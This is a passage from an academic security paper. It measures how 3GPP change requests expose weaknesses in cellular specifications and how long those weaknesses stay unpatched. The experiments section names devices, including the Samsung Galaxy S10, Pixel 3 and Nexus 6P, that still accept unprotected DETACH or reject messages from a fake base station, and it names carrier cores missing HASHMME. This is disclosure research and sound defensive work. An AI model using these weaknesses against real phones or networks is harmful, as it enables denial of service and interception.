tential key reuse and authentication circumvention. Also our
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Table 4: Categories and examples of exploit consequences.

Category Ratio Example CR

DoS/DDoS/Bidding down attack 60.63% Cause the UE to be vulnerable to DoS attack by a malicious base station. C1-094446
Cause the UE being out from Packet Switched (PS) services. C1-154301

Sensitive data leakage 18.69% Cause the UE to be tracked and traced. S2-2006202
Cause the UE to expose the ciphering mechanism. S3-020689

Failure of preventing attacks 15.52% Cause preventing impersonation attacks not be supported. C4-191528
Cause the network cannot recognize and tackle man-in-the-middle attack. C1-091594

Battery draining 2.87% Cause the UE to lose power. S3-120336
Cause a lot of UEs being busy and wasting UEs’ electricity. S3-142116

Incorrect charging 2.30% Cause the UE to be open to an over charging attack. C1-122414
Cause the UE can have free talk. C1-160432

Table 5: Summary of causes on SR-CRs.

Category I Ratio Category II Ratio

Design error 70.55%
(896/1,270)

Error on security procedures ≈60.00%
Error on other procedures ≈40.00%

Problematic
presentation

29.45%
(374/1,270)

Lack of details 68.45%
Inconsistent specifications 31.55%

analysis shows that for the procedures serving other telecom-
munication functionalities than security, their protection can
be inadequate, erroneous or oftentimes completely missing,
as some security risks may have never been seriously con-
sidered during specification development. For example, the
paging procedure in the NAS protocol is designed to waken
an idle UE in response to an incoming call or message; it is
found to lack authentication protection, which enables a UE
impersonation attack (C1-135219 in TS 24.301).

In the 896 SR-CRs about design errors, we found that 193
are meant to fix the content issues in the 33 series specifi-
cations – a set of documents that focus on 3GPP security
aspects as mentioned before (Section 3.2). So they are clearly
related to security procedures. The nature of the procedures
associated with other SR-CRs, however, cannot be easily de-
termined, due to loose descriptions of CRs, whose connec-
tions with specifications are established through nothing but
a few keywords like “privacy”, “encrypt” and etc. To find out
whether these procedures are security-related, we randomly
selected 50 SR-CRs and looked up their keywords in related
specifications to understand their context. In the end, we found
that 26 of them are meant to fix security-related procedures,
such as R5-190434 fixing EAP-AKA based authentication
procedure in TS 38.508-1, while the rest are for other pro-
cedures that miss necessary security protection. Altogether,
we estimate that about 60% of the design errors reported by
SR-CRs are inside security procedures.

Among the 29.45% SR-CRs caused by problematic presen-
tation, we found that 68.45% (= 256/374) are due to the lack
of details about how to implement security-related functionali-
ties. For instance, SR-CR S3-171530 points out that TS 33.401
in version 14.2.0 introduces a hash parameter HASHMME in
a message to prevent the bidding down attack, but the speci-
fication does not give the calculation method to the element,
which causes confusion about how to implement it and may
lead to a security weakness. Another example is C1-094810:
TS 24.301 in version 8.3.0 requires to compute two keys on

Table 6: Categories of misalignment in 3GPP specifications.

Category Ratio
Violate inconsistency between stages 50.85%
Violate inconsistency between Releases 5.08%
Violate inconsistency between generations 3.40%
Violate inconsistency in a single specification 40.68%

the UE side during authentication, but fails to specify whether
the inserted SIM card or the mobile device actually generates
the security parameter. Such unclear specifications may result
in wrong implementations exposing security parameters.

What is interesting is the rest of SR-CRs (31.55% =
118/374) all about inconsistent descriptions (which is called
misalignment) in specifications, with 24 (6.42% = 24/374) of
them for addressing conflict statements. For instance, from
C1-101068 we discovered that in TS 24.301, S4.4.4.4 requires
that any message without security protection shall be ignored
after security context is established, but S4.4.2.3 conflicts with
the requirement, allowing to accept some messages without
protection. This inconsistency could mislead the developer
and introduce security flaws exploited by those without the
right security context to launch an impersonation attack.

Since the inception of the consortium, 3GPP has always
claimed that they strive to keep the consistency of the speci-
fications under the responsibility of different TSGs through
a manageable mechanism to handle document updating [12].
For this purpose, 3GPP requires the originator of a CR to thor-
oughly examine its impact on other specifications. Actually,
each CR has a field called *other specs affected* to help keep
consistency across specifications (see Figure 1). However, we
found that the field has been left empty on most CRs in the
3GPP database. In the meantime, the content of CRs shows
that this misalignment problem not only exists but is also
serious and pervasive in 3GPP specifications. Following we
report our study on this problem.
Misalignment in specifications. Our research shows that the
misalignment problem not only appears in a single specifica-
tion but across specifications. As shown in Table 6, we found
that 60 SR-CRs report inconsistent security-relevant content
across the specifications at different stages, in different Re-
leases, and for different generations. As mentioned earlier
(Section 2), 3GPP uses a stage methodology in developing
telecommunication services. Since stage 2 specifies network
function requirements, all specifications at stage 3 are ex-
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pected to support them. However misalignment problems are
found to be pervasive across the stages and many CRs are
issued to address them. For example, TS 33.401 (a stage 2
specification) requires the UE to modify its CSG list (that
decides which cell groups the UE can access) only when re-
ceiving commands with security protection; however, a stage
3 specification TS 24.301 violates the requirement, allowing
a UE to delete the CSG list when it receives a reject message
without the safeguard of integrity check, which could be ex-
ploited by a fake network for a DoS attack on victim UEs
(see C1-095554). Such inconsistent issues are quite common
between security requirements specified at stage 2 and im-
plementation aspects at stage 3, being reported by 56.67%
(34/60) of SR-CRs about cross-stages misalignment.

3GPP systems are backward compatible: for example, a
mobile system developed based upon Release 12 should also
be supported in later Releases. This property requires some
levels of consistency between two Releases so they can main-
tain the compatibility. However, from SR-CRs, we found
multiple instances of consistency violations, e.g., resetting
downlink sequence numbers required in one Release but not
in another, which could lead to replay attacks (C1-101252,
C1-213353). Also, across generations of telecommunication,
except for new features, functionalities should be compatible
and their descriptions should be consistent. For example, UE-
CapabilityEntry in RRC protocol needs be encrypted before
transmission to avoid exposure; this protection is introduced
by 5G but 3GPP requires the 4G specifications to be consis-
tent with 5G for this protocol, which however had not been
addressed until R2-2002094 was issued 2 months later.

With years of effort claimed by 3GPP, the misalignment is-
sues are still pervasive. Our hypothesis is that the problem has
fundamentally been caused by 3GPP’s management of CRs,
which tend to be reported by individual members, particularly
manufacturers, to different WGs. From the discovered SR-
CRs, we observed that the misalignment of a CR proposed
by one member with other specifications has usually been
identified by a different member. For example, S2-112468
was submitted by Vodafone and updated to TS 23.401 but the
misalignment with TS 24.301 caused by the CR was reported
by ZTE through another CR C1-112469 one month later. It is
likely that the CR originator, usually a device manufacturer,
reports only the problem it encounters in implementing part
of the specifications, expecting 3GPP to take care of the con-
sistency issue, which however often falls through the cracks.

Even when related specification content has been identi-
fied, and multiple CRs are submitted to ensure consistency,
this effort could be impeded by the 3GPP working procedure.
Consistency across different specifications requires coordi-
nation among multiple 3GPP WGs. This does not seem to
work well now. Particularly, these groups have different work-
ing schedules, which causes related changes to be updated at
different times, rendering the specifications misaligned for a
period of time. For example, to secure UECapabilityEnquiry
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Figure 3: CR-processing procedure and system patching.

in RRC protocol, S3-192862 was submitted to SA WG3 on
2019/8/19 and a related CR R2-1909394 was sent to RAN
WG2 on 2019/8/16. S3-192862 moved on quickly in SA WG3
and its modification was updated to TS 33.501 on 2019/09/25,
while RAN WG2 took a long time to review R2-1909394,
which was finally approved and updated to TS 38.331 on
2020/03/31. Therefore, there is a 7-month gap during which
TS 33.501 and TS 38.331 were inconsistent.

Misaligned security-relevant content may bring in security
risks, when an SR-CR is published while some related content
has not been discovered and updated for a long time, even
after the original change has been made to the specification.
We will discuss this problem in Section 5.

4.2 CR Management and System Patching
3GPP publishes every CR immediately after its submission,
thus exposing the content of an SR-CR to unintended eyes,
which could lead to an exploit on a real-world system contain-
ing the reported security weakness before it is patched. To un-
derstand this risk in today’s 3GPP ecosystem, we looked into
how SR-CRs are managed. Figure 3 shows the whole proce-
dure from proposal of a CR to the integration of its requested
changes into commercial systems. As we can see, after sub-
mitted by an individual member, a CR is first reviewed by a
WG, which often requires several rounds of revisions before
approval. Then it goes through a similar revision process at
TSG meetings before its content is updated by the support
team to a new specification version. The specification will
later be used by telecommunication developers around the
world. This procedure indiscreetly discloses security-critical
information. To understand its security implications, we mea-
sured the length of an attack window, conservatively from the
publication of an SR-CR on the 3GPP server to the update of
its content to the target specification, and precisely until patch-
ing of its related systems (which tends to be more difficult to
determine). Following we elaborate on our findings.
Dataset. To measure the attack window, again we started with
the 1,270 SR-CRs. From them, we first removed those with-
drawn by their originators or not accepted by the WG or TSG
reviews, which leaves us with 817 CRs. Further, we dropped
those proposed before their target specifications were frozen,
since most device vendors only implement the specifications
when they become stable (frozen), though exceptions do exist
(e.g., Qualcomm and Huawei built their devices based upon
the Releases yet to be stabilized [13, 49]). Altogether, there
are 462 SR-CRs proposed for frozen Releases, including 443
CRs submitted to WGs and 19 CRs directly to TSGs4.

4This happens when a specification is handled directly by a TSG, instead
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Attack window. Figure 4 illustrates the distribution over the
length of our “conserative” attack window (from proposal
of an SR-CR to the update of the specification). As we can
see, most SR-CRs (90.48% = 418/462) have been processed
within three months, 69.48% (321) in two months, and 21.43%
(99) in one month. Among the 462 SR-CRs, the minimum
attack window is 10 days (RP-010274) while the longest one
lasts more than two years (C1-105068). The expected length
is around 58 days, which we calculated by approximating
the distribution with Negative Binomial Distribution [22]. To
understand this distribution, we looked into each stage of the
CR-processing procedure to find out how long 3GPP needs
to process a CR. As highlighted in Figure 3, we analyzed
1⃝ how long the WG takes to process a CR; 2⃝ what is the

waiting time between a CR agreed by the WG and the review
on it started at the TSG level; 3⃝ how long the TSG takes to
process a CR; 4⃝ what the delay would be for an approved
CR (by the TSG) to be updated to its target specification.

For 1⃝ , an SR-CR can quickly be approved by its respon-
sible WG or go through multiple rounds of required revisions.
Figure 5 shows the distribution of SR-CR processing time at
the WG level. Among the 443 SR-CRs, 58.47% are agreed by
WGs directly and 87.13% get approval in one month, which is
within the duration of a single WG meeting. The rest 12.87%
SR-CRs take a much longer time to approve at the WG level.
For example, we found 5 SR-CRs that each had been reviewed
by WGs for more than 6 months, and one took 2 years before
it was finally agreed by a WG. Such a long delay is caused
by multiple rounds of required revisions or a large amount
of time invested in revision, which extends the time interval
between a CR’s two submission rounds. Figure 6 shows that
the CR-processing time grows when the number of revision
rounds or the interval between rounds goes up. For example,
before the WG approved C1-095712, it had been revised 10
times, with the longest interval being 127 days (between C1-
091323 and C1-092720). Figure 7 further explains why some
interval is so long: if two consecutive versions of the same
CR (due to the required revision) are reviewed at the same
WG meeting, on average it takes just 7 days; however, when
these versions are discussed at two consecutive WG meetings,
48 days on average and 98 days at most are needed, as a WG
meeting may take place every one/two/three months. Inter-
estingly, we found that 3 SR-CRs even waited for more than
90 days before their revisions were reviewed again. This is

of WGs underneath the TSG.

because each of them was “postponed” by its related WG, and
later revived, which causes a huge delay in their processing.

For 2⃝ , after an SR-CR has been approved by the WG, it
needs to wait to be presented to the responsible TSG so it
can be discussed at the most recent TSG meeting. Figure 8
illustrates the distribution of such waiting time. As we can
see, most of SR-CRs can be processed within 3 months (104
days at most), since the TSG plenary meeting is held quarterly
every year. On average, each SR-CR needs to wait for 22.8
days according to our analysis. Note that such a delay is
inevitable given the current CR-processing procedure.

For 3⃝ , the TSG may also require a CR to be revised
before approving it. Figure 5 illustrates the distribution of
SR-CR processing time at the TSG level. Among the 462 SR-
CRs, all except 18 CRs were approved by the TSG directly
without any revision. Among these 18 CRs, CP-090678 was
“postponed” by CT TSG 45 and later approved by the next
meeting (CT TSG 46), which took 77 days in total. All other
SR-CR revisions successfully got through the review during
the same meeting. So the expected SR-CR processing time at
TSGs is 0.4 days.

Finally, for 4⃝ , a TSG-approved SR-CR still needs to wait
for the 3GPP support team to update its content to a new
specification version. Figure 9 illustrates the distribution of
such waiting time: most such updates (91.13% = 421/462)
happen within a month, 99.57% in 2 months, and only 2 SR-
CRs wait for more than 2 months (but still within 3 months).
In our research, we found that on average, a change to the
specification is done within 21.3 days after its CR’s approval.

Altogether, we found that the procedure for CR approval
and specification amendment is complicated and time consum-
ing: on average, an SR-CR takes 58 days before it is applied to
a Release. The length of this conservative attack window (not
to mention the further delay before patching of real-world sys-
tems), coupled with 3GPP’s indiscreet publication of SR-CRs,
constitutes a serious (yet overlooked) security risk, allowing
the adversary to attack today’s telecommunication system
using the information of published SR-CRs.
Impact of related SR-CRs. Further extending the attack
window is the presence of related SR-CRs. Among the 462
SR-CRs, 53 are related to at least another SR-CR. We found
that such a relation falls into three categories. First, 22 of them
are meant to address the misalignment issue across different
specifications: when one SR-CR requests a change to one
specification, additional CRs are issued to fix related content
in other specifications. Second, we identified a group of 29
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Figure 9: Waiting time to up-
date to specifications.

CRs among which each is connected to at least one another
CR in the group since one or more of them are used to patch
the problem not fully addressed by the other. For example,
S3-161217 suggests using a hash value HASHMME to protect
a message against unauthorized changes; however, no details
about how to calculate the hash is given by the CR, which is
provided by S3-171355 proposed almost one year later in May
2017. The story does not end here. The integrity protection
was later found to be described in a wrong way in TS 33.401:
the specification only requires the message carrying the hash
value to go through the integrity check, while those without
the hash completely fall through the cracks. So an additional
CR S3-173080 was proposed to fix it on 2017/11/20.

Furthermore, we found 2 SR-CRs meant to fix similar prob-
lems in different services. The Paging procedures for CS
fallback and EPS services are similar (but not identical). In
November 2013, C1-135219 was issued to fix a collision risk
in the Paging procedure for CS fallback in TS 24.301. One
year later, another CR C1-141405 was proposed to address
the same problem in the Page procedure for EPS services.

The presence of related SR-CRs extends the attack win-
dow: information exposed by the first published SR-CR can
potentially be used to exploit the targeted security weakness
and its related problems until all of them have been fixed by
follow-up CRs. So we estimate the window for such related
SR-CRs from the date the first SR-CR issued to the time the
last affected specification updated. Figure 10 shows the attack
windows for the 53 SR-CRs based upon their relations. As
we can see, 38 of them were addressed in 1 year, with most
of them (24) updated to specifications taking 3-6 months, 11
related SR-CRs were patched using 1-2 years, and 4 took
more than 2 years to fix. To our surprise, 2 related SR-CRs
on a security risk in the Service Reject message of TS 24.301,
which was first proposed in August 2009 (C1-093567), were
not fully applied to the specifications until June 2014 (C1-
141834)! So the security weakness has been exposed to the
public, without protection, for almost 5 years (1,761 days).

Real-world studies on precise attack windows. The con-
servative attack window just estimates a lower bound for the
duration in which the security weakness exposed by a CR
could be exploited. A more accurate assessment of the risk
should take into account the delay introduced by patching
implemented systems after related specifications are fixed ( 5⃝
in Figure 3), which often takes a long time. However, finding
out this delay is nontrivial, due to the lack of the information
about the versions of specifications implemented by commer-

cial cellular networks and UEs (e.g., mobile phones). In our
research, we resorted to reported vulnerabilities in telecom-
munication systems and our experimental analysis to unravel
this myth.

Among the weaknesses reported by the 443 SR-CRs (which
were all accepted by 3GPP and published after the corre-
sponding specifications were frozen, as described before),
13 have been discovered in commercial systems by prior re-
search [16, 31, 36, 50, 58] after they were fixed in the 3GPP
specifications, with 5 of them still observed from some de-
vices in our experiments. Interestingly, there is no evidence
that the researchers ever realized that the implementation
problems they uncovered actually come from the specification
weaknesses known years before. Due to the ethical constraints
on evaluating our findings on real-world carrier networks and
the failure of current simulators to support many function-
alities (e.g., handover, emergency), most SR-CRs cannot be
verified. In the end, we were only able to validate the weak-
nesses related to the NAS/RRC protocol basic procedures,
such as Attach procedure and Paging procedure. Further we
found one additional problem in our experiments, which has
never been reported in real systems, up to our knowledge. Ta-
ble 7 presents our findings. Here we conservatively consider
that the end of the attack window should be extended to at
least the release date of a vulnerable device or the time the
problems confirmed in our experiments, or the year the related
papers were published (for the network flaws we could not
verify).

Compared with the conservative window (Figure 4), this
more precise window turns out to be much larger, 0.7 years at
least. To our surprise, the largest one even extends over 11.7
years. Specifically, in 2009, C1-094446 has been applied to
TS 24.301 to fix a security weakness that the UE could accept
a DETACH REQUEST message without integrity protection,
allowing a fake base station to disable the victim UE. How-
ever, 11.7 years later, our experiment confirmed this exact
problem in a mobile phone (Nexus 6P). Such a large win-
dow gives attackers sufficient time to exploit the published
vulnerabilities in the real world.
Our experiment analysis. We developed a testing environ-
ment to find out whether security weaknesses reported by
SR-CRs and fixed in specifications are still out there in to-
day’s systems, including both UEs and core networks on the
carrier side. Specifically, for UEs, we inspected three mobile
devices, including Samsung Galaxy S10, Google Pixel 3, and
Nexus 6P. For this purpose, we used an SDR board (LimeSDR
USB v1.4) connecting to a computer that runs a simulator
(srsRAN [11]) that acts as both the base station and the core
network to issue attack messages. Also, we connected these
phones to SCAT [10] through the USB bridge to monitor their
states, to determine whether these UEs have been attacked
successfully. Through our experiments, we found 5 security
risks reported by SR-CRs years ago, yet still unpatched on
these devices. Actually, for 3 of these risks, each is present
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Figure 13: Attack window ex-
pectation over releases.

on 2 to 3 devices we evaluated. For example, on 2009/12/17,
C1-095712 was officially applied to TS 24.301, fixing the
problem that a UE’s CSG list could be modified by an unau-
thenticated reject message. However, we confirmed that the
risk still exists in Samsung Galaxy S10, which reveals a large
attack window of at least 11 years! Note that the same prob-
lem was reported in 2019 on iPhone 6, though no evidence
here shows that the authors had known the SR-CRs and there-
fore the fundamental cause of the implementation error [58].
We have reported the risks to the manufacturers of these three
device and received confirmation from all of them. Other
findings are in Table 7.

For the carrier’s network, we could not exploit it to verify
the presence of weaknesses, due to ethical constraints. So we
used a non-intrusive approach, by inspecting the downlink
traffic from the core network to the UE using SCAT [10]. In
our research, we passively analyzed the traffic of three major
commercial carriers (anonymized to protect them) and found
that one problem reported by an SR-CR still exists in their
core networks. It is missing of HASHMME suggested by S3-
161217, as mentioned earlier. This protection is still not there
in the core networks, since we could not find HASHMME in
the response to Attach Request, as required by TS 33.401. As
a result, it is under the threat of MITM. We have reported our
findings to authorized parties.

4.3 Security Trends of the Ecosystem
Changes of SR-CRs over time. To understand whether the
security quality of 3GPP specifications improves over time,
and how likely disclosed CRs only involve a subset of se-
curity flaws, we analyzed the trend of SR-CRs by looking
back at the history. For this purpose, we first found out the
number of SR-CRs for each Release. As Figure 11 shows,
there is a slow upward trend for the number of SR-CRs from
Release 4 to Release 16, which indicates that new Releases
tend to have more security weaknesses. Notably, from Fig-
ure 11, it is easy to see big bumps of SR-CRs for Release 8
and Release 15, which introduce LTE and 5G respectively,
two key stages for the telecommunication evolution. As new
techniques emerge, more security risks tend to be discovered
from their specifications at the same time.

Second, one way to estimate the unknown security weak-
nesses still present in a newly published specification is to
find out the duration during which the releases continue to
receive SR-CRs. To this end, we measure the number of SR-
CRs have been reported over time for a specification after
it was frozen. From the results (shown on our website), we

found that for each Release, SR-CRs have been continuously
issued for several years. For example, Release 4 was frozen
in 2001 but has been reported for various security flaws for
12 years. From Release 4 to 11, which are no longer receiving
SR-CRs, they had been modified for 7 years on average after
their specifications were frozen. So we have reason to be-
lieve that there still are many unveiled security weaknesses in
Release 12 and after, and the effort to improve their security
quality will last for a long time.
Changes of inconsistent specifications over time. Incon-
sistent descriptions in specifications are pervasive and may
further result in serious security consequences, as analyzed
in Section 4.1, even given 3GPP’s effort to address this issue.
Figure 12 shows the number of SR-CRs reporting misaligned
specifications over different Releases and the percentage of
such SR-CRs in every Release’s total SR-CRs. From the
figure, we observe that the number of misalignment-related
SR-CRs varies over different Releases with two peaks at Re-
lease 8 and 15, but are relatively steady in terms of percentage.
Again, the bumps (two peaks) in the figure are likely due to
the sudden rise inconsistent issues that come with publications
of the complicated documents for revolutionary technologies.
Meanwhile, the steadiness of the percentage curve in general
gives no sign that the pain of security-relevant misalignment
would get better in the near future.
Changes of attack windows over time. Our research reveals
long attack windows for SR-CRs because of the CR man-
agement (Section 4.2). In Figure 13, we show the expected
lengths of such windows based on the fitting results by ap-
plying Negative Binomial Distribution [22] for each Release.
From the figure, we observe the uptrend of the window sizes
across Releases, from 43 days for Release 4 to 71 days for
Release 16. This trend not only indicates that the attack win-
dow may continue to grow for future Releases, but reveals
that the security implications of attack windows become even
more serious over time, with the published system weaknesses
exposed to the adversary for a longer time.

5 Discussion

5.1 Lessons Learnt
Lesson 1: Misalignment is an important security risk.
3GPP claims that they try to ensure the consistency of spec-
ification by their management [12], requiring the member
submitting a CR to indicate other related specification content
through a CR field (*other specs affected*). However, our
research shows that the misalignment problem is still perva-
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sive in 3GPP specifications, potentially with serious security
consequences: inconsistent security-relevant descriptions in
specifications indicate the presence of erroneous content that
once followed during system implementation could introduce
security weaknesses (e.g., C1-095554); also in the case that a
vulnerability described by a published CR for a specification
still exists in a different specification, the telecommunication
system implementing the latter is posed to grave danger, with
its security weaknesses completely exposed (Section 4.1).

Fundamentally addressing this problem requires technical
support. We believe that cross-references for at least security-
related content should be in place for 3GPP specifications.
Facilitating this effort are NLP/ML techniques that assist
protocol development, in terms of technical content indexing
and misalignment discovery, which should be studied in the
future.

Lesson 2: Attack window should be controlled. From the
publicity of an SR-CR to its mend in the target specification,
the 3GPP ecosystem shows a 58-day delay on average. This
practice even violates 3GPP’s own responsible vulnerability
disclosure rule, as described in the 3GPP Coordinated Vulner-
ability Disclosure requirement (“not to share knowledge of
the vulnerability with third parties until 3GPP has resolved
it”) [4]. Hence, we suggest that 3GPP handle SR-CRs fol-
lowing the same responsible disclosure rule: publishing the
vulnerability information of SR-CRs no earlier than the se-
curity issues reported by the CRs have been updated to the
target specifications. For this purpose, SR-CRs should first be
identified so they can be handled in a more responsible way.
One possible way to do so is asking the originator to label
the security relevance of a CR. In the case that 3GPP wants
to double-check unlabeled CRs, automatic CR classifiers like
CREEK could be leveraged.

Even after the specification updates, we observe a long
delay (up to 11 years) before the real-world system is patched
if this has ever been done by vendors. So it remains a chal-
lenge to motivate vendors to follow specifications, reacting
timely to the released security mends. A possible solution
is, for 3GPP, to issue well-designed conformance test cases,
particularly for its security updates, which enforces vendors’
implementation compliant with specifications [45]. Recent
studies [35, 43] show the effectiveness of the conformance
test in finding the security problems of mobile devices.

Other lessons. Our measurement study reveals the dom-
inance of DoS risks among all security consequences of
SR-CRs (60.63%), in line with the findings reported by
prior researches, which are mostly DoS related vulnerabil-
ities [16, 31, 36, 50, 58]. This indicates that DoS will continue
to be a major threat to carrier networks. Also discovered in
our research, there are 70.55% SR-CRs about design errors
(Section 4.1). So we believe that an important direction is to
facilitate automated construction of a protocol model from
specifications, for the purpose of formal security verification.

5.2 Limitation and Discussion
Finding the exact and also complete set of SR-CRs from 400K
CRs is extremely difficult, due to convoluted descriptions of
these CRs that are often hard to decipher even to human
experts. CREEK is the first step toward the full discovery of
these SR-CRs, but the capability of our current design and
implementation is still limited. The best we could do now
is to capture a reasonable number of SR-CRs (1,270) with
a relatively high precision (91.6%). The real set of the CRs
with security-relevant content is larger.

Among all 1,270 SR-CRs discovered in our research, 453
have not yet been accepted. In-depth analysis of the ecosystem
of these SR-CRs is an important issue that has not been cov-
ered by our study. It is known that 3GPP deliberately leaves
some security vulnerabilities (including those in SR-CRs and
the problems reported by research papers [41, 57]) unfixed
in the specifications or allows protection to be optional, due
to various reasons, e.g., performance impacts or implemen-
tation complexity [19]. Future research should revisit these
problems, both to seek more effective solutions and provoke a
public discussion so the presence of these ticking bombs will
not be just swept under the rug. Furthermore, considering the
chaos that several SR-CRs fixing the same weakness may re-
ceive different decisions (accept or not) over time, more works
need to be done to understand what kind of vulnerabilities are
still unfixed in 3GPP specifications.

6 Related Work
Cellular network vulnerabilities. Previous studies have re-
vealed various security risks in cellular network systems, in-
cluding both implementation errors and design issues. For
example, previous works [18, 27, 35, 36, 50, 58] report both
commercial mobile phone and core network implementation
vulnerabilities, containing DoS, location tracking, spoofing
attack and others. In the meantime, other works focus on
discovering security weaknesses in the system design, such
as weak cryptographic algorithms for protecting the user
plain data [47, 48] and problematic security-critical proce-
dures [31, 32, 34, 38]. Different from these studies, our re-
search aims at understanding the security risks in the 3GPP
documentation and the specification design process through
analyzing CRs and their management process.
SoK-style papers. There are some prior efforts to survey or
systemize the knowledge of key security issues in the cel-
lular network system. Bertino et al. [14] summarize emerg-
ing systematic methods for analyzing cellular network secu-
rity and discussed their limitations. Based on their discovery,
the authors further propose an initial security and privacy
roadmap for 5G [15]. Rupprecht et al. [46] systematically
categorize well-known attacks and defenses from 2G to 5G
and map the attacks to proposed defense mechanisms and
suggestions for 5G specifications, which helps identify open
research questions and challenges for the development of the
next-generation cellular network. Unlike these surveys and
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SoK researches, we analyzed 3GPP CRs, the records of 3GPP
standards’ modifications, and discovered not only the weak-
nesses in the 3GPP specifications but also the risks in the
3GPP ecosystem, such as long-standing attack window.
Security analysis on standard documents. A previous
study [55] analyzes security consideration sections (SCSs)
and other security-related descriptions in RFCs. Although this
work also touches the specification ecosystem (for RFC), it
just looks for the mandatory requirement for SCSs in the RFC
guideline, and if such section is already present in an RFC,
measures the topics the section covers and other information.
By comparison, we studied security-related CRs, which are
unique for the 3GPP specification development. More impor-
tantly, we dived into security implications of these CRs and
their management procedure, which leads to the discovery
of the security risks in the 3GPP ecosystem never reported
before.

7 Conclusion
In this paper, we developed a novel CREEK to recover 1,270
high-confidence SR-CRs. Our measurements on them re-
vealed serious security consequences of specifications and
their causes, including design errors and presentation issues,
particularly the pervasiveness of misalignment in security-
relevant content. Also important is the discovery of a security
weakness inherent to the 3GPP ecosystem, which publishes
an SR-CR long before the specification has been fixed and
related systems have been patched. This opens an attack win-
dow, which can be as long as 11 years. Interestingly, we found
that some recently reported vulnerabilities are actually related
to the SR-CRs published years ago. And we identified 6 are
still there today, including 1 weaknesses existing in major
carriers. With the trend of SR-CRs not showing any sign of
abating, we propose measures to improve the security of the
3GPP ecosystem.
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APPENDIX
A Implementation Details
A.1 Fine-tuning BERT
We use 3GPP specifications for BERT fine-tuning. We trans-
formed these documents into “docx” format by LibreOf-
fice software and stored in plain text (“txt” format) through
python-docx library. Totally, we collected 1,318,364 sen-
tences in 1546 specifications exclude menus, titles and failures
during our processing.

For fine-tuning BERT on 3GPP corpus, we establish two
objectives: Masked Language Model (MLM) and Security
Specification Classification (SSC). The MLM objective is
to train our BERT to predict randomly masked words in a
sentence. According to the experience reported in [40], we
randomly select 15% words in each sentence and mask them
by replacing with a special token [MASK]. We use the cross
entropy loss for MLM objective. The SSC objective is to train
our BERT to judge whether a given text belongs to security
specifications. We use binary cross entropy function as the
loss function for SSC.
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Table 7: Summary of SR-CRs attack windows in commercial system
Note1: The more detailed vulnerability information can be found in our website. Note2: To protect the basebands and network operators, the three

works [31, 36, 50] keep them anonymous. Time1: specification update date for a SR-CR (yyyy/mm/dd). Time2: the release date of a vulnerable device / the time
the problems confirmed in our experiments / the year the related papers were published. Attack window: minimum estimated number of years.

id CR Time1 Time2 Attack Window System Reporter
1 C1-101068 2010/03/31 2019 8.7 years Two commercial carrier networks Kim et.al [36]
2 S3-091802 2009/12/18 2018 8.0 years Four major U.S. network operators Hussain et.al [31]
3 C1-101252 2010/03/31 2018 7.7 years Four major U.S. network operators Hussain et.al [31]
4 C1-135219 2013/12/20 2021 7.0 years China Unicom Chen et.al [16]
5 C1-141405 2014/06/27 2021 6.5 years China Unicom Chen et.al [16]

6 C1-094446 2009/12/17 2015/09/29 5.7 years Google Nexus 6P Chen et.al [16]
2021/10/01 11.7 years Google Nexus 6P Our paper

7 C1-095712 2009/12/17 2015/09/10 5.7 years iPhone 6sp Yu et.al [58]
2021/10/01 11.7 years Samsung Galaxy S10, Google Pixel 3, Google Nexus 6P Our paper

8 C1-112809 2011/09/28

2017/06/16 5.7 years Honor 9 Yu et.al [58]
2016/12/01 5.1 years M5 Note Yu et.al [58]
2015/09/10 3.9 years iPhone 6sp Yu et.al [58]
2021/10/01 10.0 years Google Pixel 3 Our paper

9 R2-103442 2010/06/18 2016 5.5 years four major basebands Shaik et.al [50]

10 C1-132662 2013/06/27 2015/09/10 2.2 years iPhone 6sp Yu et.al [58]
2021/10/01 8.2 years Samsung Galaxy S10, Google Pixel 3, Google Nexus 6P Our paper

11 C1-172658 2017/06/16 2019 1.5 years two commercial carrier networks Kim et.al [36]

12 C1-154699 2015/12/18 2017/06/16 1.4 years Honor 9 Yu et.al [58]
2016/12/01 0.9 years M5 Note Yu et.al [58]

13 C1-161448 2016/03/18
2017/06/16 1.2 years Honor 9 Yu et.al [58]
2016/12/01 0.7 years M5 Note Yu et.al [58]
2021/10/01 5.5 years Samsung Galaxy S10, Google Pixel 3 Our paper

14 S3-161217 2016/09/30 2021/10/01 5.0 years Three major commercial carriers Our paper

The positive training text of SSC comes from 39,608 sen-
tences in 71 specifications. Referring [24], we extend each
sentence to a predefined maximum text length (512 words) by
the following sentences. The same extension is done on the
negative text in the rest specifications. To balance the ratio
of positive and negative training text, we randomly sample
the same number of positive and negative samples in each
minibatch.

We let our BERT learn the MLM objective prior to SSC
objective by setting the weight of MLM objective as 1 and
weight of SSC objective as 1e−3. Following [40], our BERT
is optimized with Adam optimizer [37] using the following
parameters: β1 = 0.9, β2 = 0.999, eps = 1e−6 and L2 weight
decay of 0.01. The learning rate is warmed up over the first
10,000 steps to a peak value of 1e−4, and then linearly de-
cayed. BERT trains with a dropout of 0.1 on all layers and
attention weights, and a GELU activation function [25]. Mod-
els are pretrained for 1,000,000 iterations, with minibatch
of batch size 256 and input text with maximum length 512
words.

A.2 Self-training improvement
After training a classifier Ĉ through our PU learning al-
gorithm, we leverage self-training on unlabeled data to
strengthen the distinguishability of our classifier. Specifi-
cally, the self-training process runs in teacher-student iter-
ations (Section 2.2). We want the student model learn to pro-
duce high confident prediction on those instances that teacher
model has less doubt on. For measuring the prediction uncer-
tainty of our model, we exploited BALD with the help of the
dropout distribution of the model parameters [53].

Specifically, BALD selects the unlabeled samples xu that

maximize information gain between the current predictions
and the posterior predictions of xu after incorporating the
labeled samples into the model:

B(yu,W |xu,D′
u) = H[yu|xu,D′

u]−Ep(W |D′
u)
[H[yu|xu,W ]]

(10)
where H[yu|xu,W ] is the entropy of yu given xu under model
parameters W , and D′

u is the pseudo-labeled unknown dataset.
Based on dropout distribution, an approximation of Eq. 10
can be obtained by Monte-Carlo integration [44] as:

B̂(yu,W |xu,D′
u)

=−Σc(
1
T Σt p̂t

c) log( 1
T Σt p̂t

c)+
1
T Σt,c p̂t

c log(p̂t
c)

(11)

where, p̂t
c = p(gW̃t (xu) = c), W̃t ∈ {W̃1, ...,W̃T}. p̂t

c is the
probability that a model gW̃t with dropout sampled weights
W̃t judges xu belongs to c. Using this empirical approxima-
tion of BALD, we can select those less uncertain instance
xu with high peasy

c (xu) =
1−B̂(yu,W |xu,D′

u)

∑xu∈{xu:yu=c} 1−B̂(yu,W |xu,D′
u)

. After se-

lecting a set of uncertain instances, we also use the predictive
variance [42] Var(y) = Var[(y|W,xu)] +E[Var(y|W,xu)] to
weight those selected instances, as Eq. 11 only considers the
prediction mean ( 1

T Σt p̂t
